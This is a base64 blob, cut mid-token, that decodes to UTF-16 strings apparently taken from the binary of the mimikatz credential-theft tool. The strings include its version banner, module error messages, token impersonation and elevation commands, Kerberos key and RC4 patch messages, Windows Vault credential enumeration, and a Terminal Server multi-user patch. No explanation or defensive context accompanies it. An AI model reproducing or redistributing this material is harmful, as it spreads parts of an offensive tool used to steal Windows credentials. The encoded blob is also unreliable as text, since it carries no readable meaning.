BwAG8AbABpAG4AZQAgAG4AMQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAcgBlAGEAbAAgAGEAcwBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAATG9jYWxBbGxvYwAAawBkAGMAcwB2AGMALgBkAGwAbAAAAAAAWwBLAEQAQwBdACAAZABhAHQAYQAKAAAAWwBLAEQAQwBdACAAcwB0AHIAdQBjAHQACgAAAFsASwBEAEMAXQAgAGsAZQB5AHMAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABTAGUAYwBvAG4AZAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAARgBpAHIAcwB0ACAAcABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGMAcgB5AHAAdABkAGwAbAAuAGQAbABsAAAAAABbAFIAQwA0AF0AIABmAHUAbgBjAHQAaQBvAG4AcwAKAAAAAABbAFIAQwA0AF0AIABpAG4AaQB0ACAAcABhAHQAYwBoACAATwBLAAoAAAAAAFsAUgBDADQAXQAgAGQAZQBjAHIAeQBwAHQAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAHIAZQBhAHQAZQAgAHIAZQBtAG8AdABlACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbABvAGMAYQBsAGcAcgBvAHUAcAAAAAAAZwByAG8AdQBwAAAAbgBlAHQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgAEIAdQBpAGwAdABpAG4AIAAoAD8AKQAgACUAMAA4AHgACgAAAAoARABvAG0AYQBpAG4AIABuAGEAbQBlACAAOgAgACUAdwBaAAAAAAAKAEQAbwBtAGEAaQBuACAAUwBJAEQAIAAgADoAIAAAAAoAIAAlAC0ANQB1ACAAJQB3AFoAAAAAAAoAIAB8ACAAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEkAZABzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARwBlAHQARwByAG8AdQBwAHMARgBvAHIAVQBzAGUAcgAgACUAMAA4AHgAAAAAAAoAIAB8AGAAJQAtADUAdQAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARwBlAHQAQQBsAGkAYQBzAE0AZQBtAGIAZQByAHMAaABpAHAAIAAlADAAOAB4AAAAAAAKACAAfAC0ACUALQA1AHUAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBSAGkAZABUAG8AUwBpAGQAIAAlADAAOAB4AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBVAHMAZQByACAAJQAwADgAeAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAARABvAG0AYQBpAG4ASQBuAFMAYQBtAFMAZQByAHYAZQByACAAJQAwADgAeAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAEQAbwBtAGEAaQBuAHMASQBuAFMAYQBtAFMAZQByAHYAZQByACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0AQwBvAG4AbgBlAGMAdAAgACUAMAA4AHgACgAAAAAAZABlAGIAdQBnAAAAQQBzAGsAIABkAGUAYgB1AGcAIABwAHIAaQB2AGkAbABlAGcAZQAAAHAAcgBpAHYAaQBsAGUAZwBlAAAAUAByAGkAdgBpAGwAZQBnAGUAIABtAG8AZAB1AGwAZQAAAAAAUAByAGkAdgBpAGwAZQBnAGUAIAAnACUAdQAnACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBzAGkAbQBwAGwAZQAgADsAIABSAHQAbABBAGQAagB1AHMAdABQAHIAaQB2AGkAbABlAGcAZQAgACgAJQB1ACkAIAAlADAAOAB4AAoAAABlAHgAcABvAHIAdABzAAAATABpAHMAdAAgAGUAeABwAG8AcgB0AHMAAAAAAGkAbQBwAG8AcgB0AHMAAABMAGkAcwB0ACAAaQBtAHAAbwByAHQAcwAAAAAAcwB0AGEAcgB0AAAAUwB0AGEAcgB0ACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHQAbwBwAAAAAABUAGUAcgBtAGkAbgBhAHQAZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB1AHMAcABlAG4AZAAAAFMAdQBzAHAAZQBuAGQAIABhACAAcAByAG8AYwBlAHMAcwAAAHIAZQBzAHUAbQBlAAAAAABSAGUAcwB1AG0AZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAAABQAHIAbwBjAGUAcwBzACAAbQBvAGQAdQBsAGUAAAAAAFQAcgB5AGkAbgBnACAAdABvACAAcwB0AGEAcgB0ACAAIgAlAHMAIgAgADoAIAAAAE8ASwAgACEAIAAoAFAASQBEACAAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAHMAdABhAHIAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABOAHQAVABlAHIAbQBpAG4AYQB0AGUAUAByAG8AYwBlAHMAcwAAAAAATgB0AFMAdQBzAHAAZQBuAGQAUAByAG8AYwBlAHMAcwAAAAAATgB0AFIAZQBzAHUAbQBlAFAAcgBvAGMAZQBzAHMAAAAlAHMAIABvAGYAIAAlAHUAIABQAEkARAAgADoAIABPAEsAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgACUAcwAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABwAGkAZAAgACgALwBwAGkAZAA6ADEAMgAzACkAIABpAHMAIABtAGkAcwBzAGkAbgBnAAAAJQB1AAkAJQB3AFoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAYQBsAGwAYgBhAGMAawBQAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBvAHAAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAKACUAdwBaAAAAAAAKAAkAJQBwACAALQA+ACAAJQB1AAAAAAAJACUAdQAAAAkAIAAAAAAACQAlAHAAAAAJACUAUwAAAAkALQA+ACAAJQBTAAAAAAAKAAkAJQBwACAALQA+ACAAJQBwAAkAJQBTACAAIQAgAAAAAAAlAFMAAAAAACMAJQB1AAAAUwB0AGEAcgB0ACAAcwBlAHIAdgBpAGMAZQAAAFIAZQBtAG8AdgBlACAAcwBlAHIAdgBpAGMAZQAAAAAAUwB0AG8AcAAgAHMAZQByAHYAaQBjAGUAAAAAAFMAdQBzAHAAZQBuAGQAIABzAGUAcgB2AGkAYwBlAAAAUgBlAHMAdQBtAGUAIABzAGUAcgB2AGkAYwBlAAAAAABwAHIAZQBzAGgAdQB0AGQAbwB3AG4AAABQAHIAZQBzAGgAdQB0AGQAbwB3AG4AIABzAGUAcgB2AGkAYwBlAAAAcwBoAHUAdABkAG8AdwBuAAAAAABTAGgAdQB0AGQAbwB3AG4AIABzAGUAcgB2AGkAYwBlAAAAAABMAGkAcwB0ACAAcwBlAHIAdgBpAGMAZQBzAAAAUwBlAHIAdgBpAGMAZQAgAG0AbwBkAHUAbABlAAAAAAAlAHMAIAAnACUAcwAnACAAcwBlAHIAdgBpAGMAZQAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAFMAZQByAHYAaQBjAGUAIABvAHAAZQByAGEAdABpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAASQBuAGoAZQBjAHQAIABuAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlAAoAAAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHMAZQByAHYAaQBjAGUAIABuAGEAbQBlACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAFMAdABhAHIAdABpAG4AZwAAAAAAUgBlAG0AbwB2AGkAbgBnAAAAAABTAHQAbwBwAHAAaQBuAGcAAAAAAFMAdQBzAHAAZQBuAGQAaQBuAGcAAAAAAFIAZQBzAHUAbQBpAG4AZwAAAAAAUAByAGUAcwBoAHUAdABkAG8AdwBuAAAAUwBoAHUAdABkAG8AdwBuAAAAAABzAGUAcgB2AGkAYwBlAHMALgBlAHgAZQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcwBlAGEAcgBjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAGUAcgByAG8AcgAgACUAdQAKAAAATwBLACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHcAaQB0AGgAbwB1AHQAIABTAGMAUwBlAG4AZABDAG8AbgB0AHIAbwBsAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABlAHgAaQB0AAAAAABRAHUAaQB0ACAAbQBpAG0AaQBrAGEAdAB6AAAAYwBsAHMAAAAAAAAAQwBsAGUAYQByACAAcwBjAHIAZQBlAG4AIAAoAGQAbwBlAHMAbgAnAHQAIAB3AG8AcgBrACAAdwBpAHQAaAAgAHIAZQBkAGkAcgBlAGMAdABpAG8AbgBzACwAIABsAGkAawBlACAAUABzAEUAeABlAGMAKQAAAAAAYQBuAHMAdwBlAHIAAAAAAEEAbgBzAHcAZQByACAAdABvACAAdABoAGUAIABVAGwAdABpAG0AYQB0AGUAIABRAHUAZQBzAHQAaQBvAG4AIABvAGYAIABMAGkAZgBlACwAIAB0AGgAZQAgAFUAbgBpAHYAZQByAHMAZQAsACAAYQBuAGQAIABFAHYAZQByAHkAdABoAGkAbgBnAAAAYwBvAGYAZgBlAGUAAAAAAFAAbABlAGEAcwBlACwAIABtAGEAawBlACAAbQBlACAAYQAgAGMAbwBmAGYAZQBlACEAAABzAGwAZQBlAHAAAAAAAAAAUwBsAGUAZQBwACAAYQBuACAAYQBtAG8AdQBuAHQAIABvAGYAIABtAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAAAEwAbwBnACAAbQBpAG0AaQBrAGEAdAB6ACAAaQBuAHAAdQB0AC8AbwB1AHQAcAB1AHQAIAB0AG8AIABmAGkAbABlAAAAYgBhAHMAZQA2ADQAAAAAAAAAAABTAHcAaQB0AGMAaAAgAGYAaQBsAGUAIABvAHUAdABwAHUAdAAvAGIAYQBzAGUANgA0ACAAbwB1AHQAcAB1AHQAAAAAAHYAZQByAHMAaQBvAG4AAAAAAAAARABpAHMAcABsAGEAeQAgAHMAbwBtAGUAIAB2AGUAcgBzAGkAbwBuACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAAABjAGQAAAAAAAAAAABDAGgAYQBuAGcAZQAgAG8AcgAgAGQAaQBzAHAAbABhAHkAIABjAHUAcgByAGUAbgB0ACAAZABpAHIAZQBjAHQAbwByAHkAAABtAGEAcgBrAHIAdQBzAHMAAAAAAE0AYQByAGsAIABhAGIAbwB1AHQAIABQAHQASAAAAAAAcwB0AGEAbgBkAGEAcgBkAAAAAABTAHQAYQBuAGQAYQByAGQAIABtAG8AZAB1AGwAZQAAAEIAYQBzAGkAYwAgAGMAbwBtAG0AYQBuAGQAcwAgACgAZABvAGUAcwAgAG4AbwB0ACAAcgBlAHEAdQBpAHIAZQAgAG0AbwBkAHUAbABlACAAbgBhAG0AZQApAAAAQgB5AGUAIQAKAAAANAAyAC4ACgAAAAAAAAAAAAoAIAAgACAAIAAoACAAKAAKACAAIAAgACAAIAApACAAKQAKACAAIAAuAF8AXwBfAF8AXwBfAC4ACgAgACAAfAAgACAAIAAgACAAIAB8AF0ACgAgACAAXAAgACAAIAAgACAAIAAvAAoAIAAgACAAYAAtAC0ALQAtACcACgAAAAAAUwBsAGUAZQBwACAAOgAgACUAdQAgAG0AcwAuAC4ALgAgAAAARQBuAGQAIAAhAAoAAAAAAG0AaQBtAGkAawBhAHQAegAuAGwAbwBnAAAAAABVAHMAaQBuAGcAIAAnACUAcwAnACAAZgBvAHIAIABsAG8AZwBmAGkAbABlACAAOgAgACUAcwAKAAAAAAB0AHIAdQBlAAAAAABmAGEAbABzAGUAAABpAHMAQgBhAHMAZQA2ADQASQBuAHQAZQByAGMAZQBwAHQAIAB3AGEAcwAgACAAIAAgADoAIAAlAHMACgAAAAAAaQBzAEIAYQBzAGUANgA0AEkAbgB0AGUAcgBjAGUAcAB0ACAAaQBzACAAbgBvAHcAIAA6ACAAJQBzAAoAAAAAADYANAAAAAAAOAA2AAAAAAAAAAAACgBtAGkAbQBpAGsAYQB0AHoAIAAyAC4AMAAgAGEAbABwAGgAYQAgACgAYQByAGMAaAAgAHgAOAA2ACkACgBXAGkAbgBkAG8AdwBzACAATgBUACAAJQB1AC4AJQB1ACAAYgB1AGkAbABkACAAJQB1ACAAKABhAHIAYwBoACAAeAAlAHMAKQAKAG0AcwB2AGMAIAAlAHUAIAAlAHUACgAAAEMAdQByADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAGMAZAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBnAGUAdABDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAE4AZQB3ADoAIAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAUwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABTAG8AcgByAHkAIAB5AG8AdQAgAGcAdQB5AHMAIABkAG8AbgAnAHQAIABnAGUAdAAgAGkAdAAuAAoAAAB3AGgAbwBhAG0AaQAAAAAARABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABpAGQAZQBuAHQAaQB0AHkAAAAAAEwAaQBzAHQAIABhAGwAbAAgAHQAbwBrAGUAbgBzACAAbwBmACAAdABoAGUAIABzAHkAcwB0AGUAbQAAAGUAbABlAHYAYQB0AGUAAABJAG0AcABlAHIAcwBvAG4AYQB0AGUAIABhACAAdABvAGsAZQBuAAAAcgBlAHYAZQByAHQAAAAAAFIAZQB2AGUAcgB0ACAAdABvACAAcAByAG8AYwBlAHMAIAB0AG8AawBlAG4AAAAAAHQAbwBrAGUAbgAAAFQAbwBrAGUAbgAgAG0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAbQBvAGQAdQBsAGUAAAAgACoAIABQAHIAbwBjAGUAcwBzACAAVABvAGsAZQBuACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwB3AGgAbwBhAG0AaQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAKgAgAFQAaAByAGUAYQBkACAAVABvAGsAZQBuACAAIAA6ACAAAABuAG8AIAB0AG8AawBlAG4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAABkAG8AbQBhAGkAbgBhAGQAbQBpAG4AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGwAbwBjAGEAbABfAGQAbwBtAGEAaQBuAF8AdQBzAGUAcgBfAGcAZQB0AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4AUwBJAEQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAATgBvACAAdQBzAGUAcgBuAGEAbQBlACAAYQB2AGEAaQBsAGEAYgBsAGUAIAB3AGgAZQBuACAAUwBZAFMAVABFAE0ACgAAAFQAbwBrAGUAbgAgAEkAZAAgACAAOgAgACUAdQAKAFUAcwBlAHIAIABuAGEAbQBlACAAOgAgACUAcwAKAFMASQBEACAAbgBhAG0AZQAgACAAOgAgAAAAAAAlAHMAXAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AE4AYQBtAGUARABvAG0AYQBpAG4ARgByAG8AbQBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGwAbwBjAGEAbABfAGQAbwBtAGEAaQBuAF8AdQBzAGUAcgBfAEMAcgBlAGEAdABlAFcAZQBsAGwASwBuAG8AdwBuAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AcgBlAHYAZQByAHQAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEEAbgBvAG4AeQBtAG8AdQBzAAAASQBkAGUAbgB0AGkAZgBpAGMAYQB0AGkAbwBuAAAAAABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuAAAARABlAGwAZQBnAGEAdABpAG8AbgAAAAAAVQBuAGsAbgBvAHcAbgAAACUALQAxADAAdQAJAAAAAAAlAHMAXAAlAHMACQAlAHMAAAAAAAkAKAAlADAAMgB1AGcALAAlADAAMgB1AHAAKQAJACUAcwAAACAAKAAlAHMAKQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAQwBoAGUAYwBrAFQAbwBrAGUAbgBNAGUAbQBiAGUAcgBzAGgAaQBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACUAdQAJAAAAIAAtAD4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGUAZAAgACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABtAHUAbAB0AGkAcgBkAHAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAGwAbABvAHcAIABtAHUAbAB0AGkAcABsAGUAcwAgAHUAcwBlAHIAcwAAAHQAcwAAAAAAVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIABtAG8AZAB1AGwAZQAAAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAVABlAHIAbQBTAGUAcgB2AGkAYwBlAAAAAAAAAFcAaQBuAGQAbwB3AHMAIABWAGEAdQBsAHQALwBDAHIAZQBkAGUAbgB0AGkAYQBsACAAbQBvAGQAdQBsAGUAAAB2AGEAdQBsAHQAYwBsAGkAAAAAAFZhdWx0RW51bWVyYXRlSXRlbVR5cGVzAFZhdWx0RW51bWVyYXRlVmF1bHRzAAAAAFZhdWx0T3BlblZhdWx0AABWYXVsdEdldEluZm9ybWF0aW9uAFZhdWx0RW51bWVyYXRlSXRlbXMAVmF1bHRDbG9zZVZhdWx0AFZhdWx0RnJlZQAAAFZhdWx0R2V0SXRlbQAAAABEAG8AbQBhAGkAbgAgAFAAYQBzAHMAdwBvAHIAZAAAAEQAbwBtAGEAaQBuACAAQwBlAHIAdABpAGYAaQBjAGEAdABlAAAAAABEAG8AbQBhAGkAbgAgAEUAeAB0AGUAbgBkAGUAZAAAAFAAaQBuACAATABvAGcAbwBuAAAAUABpAGMAdAB1AHIAZQAgAFAAYQBzAHMAdwBvAHIAZAAAAAAAQgBpAG8AbQBlAHQAcgBpAGMAAABOAGUAeAB0ACAARwBlAG4AZQByAGEAdABpAG8AbgAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAAAAAAAoAVgBhAHUAbAB0ACAAOgAgAAAACQBJAHQAZQBtAHMAIAAoACUAdQApAAoAAAAAAAkAIAAlADIAdQAuAAkAJQBzAAoAAAAAAAkACQBUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACQAJAEwAYQBzAHQAVwByAGkAdAB0AGUAbgAgACAAIAAgACAAOgAgAAAAAAAJAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAAAACQAJAFIAZQBzAHMAbwB1AHIAYwBlACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkASQBkAGUAbgB0AGkAdAB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAkACQBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACAAIAAgADoAIAAAAAAACQAJAFAAcgBvAHAAZQByAHQAeQAgACUAMgB1ACAAIAAgACAAIAA6ACAAAAAJAAkAKgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACoAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEcAZQB0AEkAdABlAG0ANwAgADoAIAAlADAAOAB4AAAAAAAJAAkAUABhAGMAawBhAGcAZQBTAGkAZAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEcAZQB0AEkAdABlAG0AOAAgADoAIAAlADAAOAB4AAAAAAAKAAkACQAqACoAKgAgACUAcwAgACoAKgAqAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARQBuAHUAbQBlAHIAYQB0AGUAVgBhAHUAbAB0AHMAIAA6ACAA